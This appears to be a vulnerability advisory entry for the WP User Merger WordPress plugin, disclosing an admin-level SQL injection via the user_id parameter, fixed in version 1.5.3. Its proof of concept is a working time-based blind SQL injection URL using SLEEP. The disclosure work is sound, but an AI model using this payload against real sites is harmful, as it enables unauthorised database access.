WordPress Plugin Vulnerabilities

WP User Merger < 1.5.3 - Admin+ SQLi via user_id

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as admin

Proof of Concept

https://example.com/wp-admin/user-edit.php?user_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(3)))hlAf)

Affects Plugins

Fixed in 1.5.3

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
Kunal Sharma (University of Kaiserslautern), Daniel Krohmer (Fraunhofer IESE)
Submitter
Kunal Sharma
Verified
Yes

Timeline

Publicly Published
2022-11-07 (about 1 years ago)
Added
2022-11-07 (about 1 years ago)
Last Updated
2022-12-02 (about 11 months ago)

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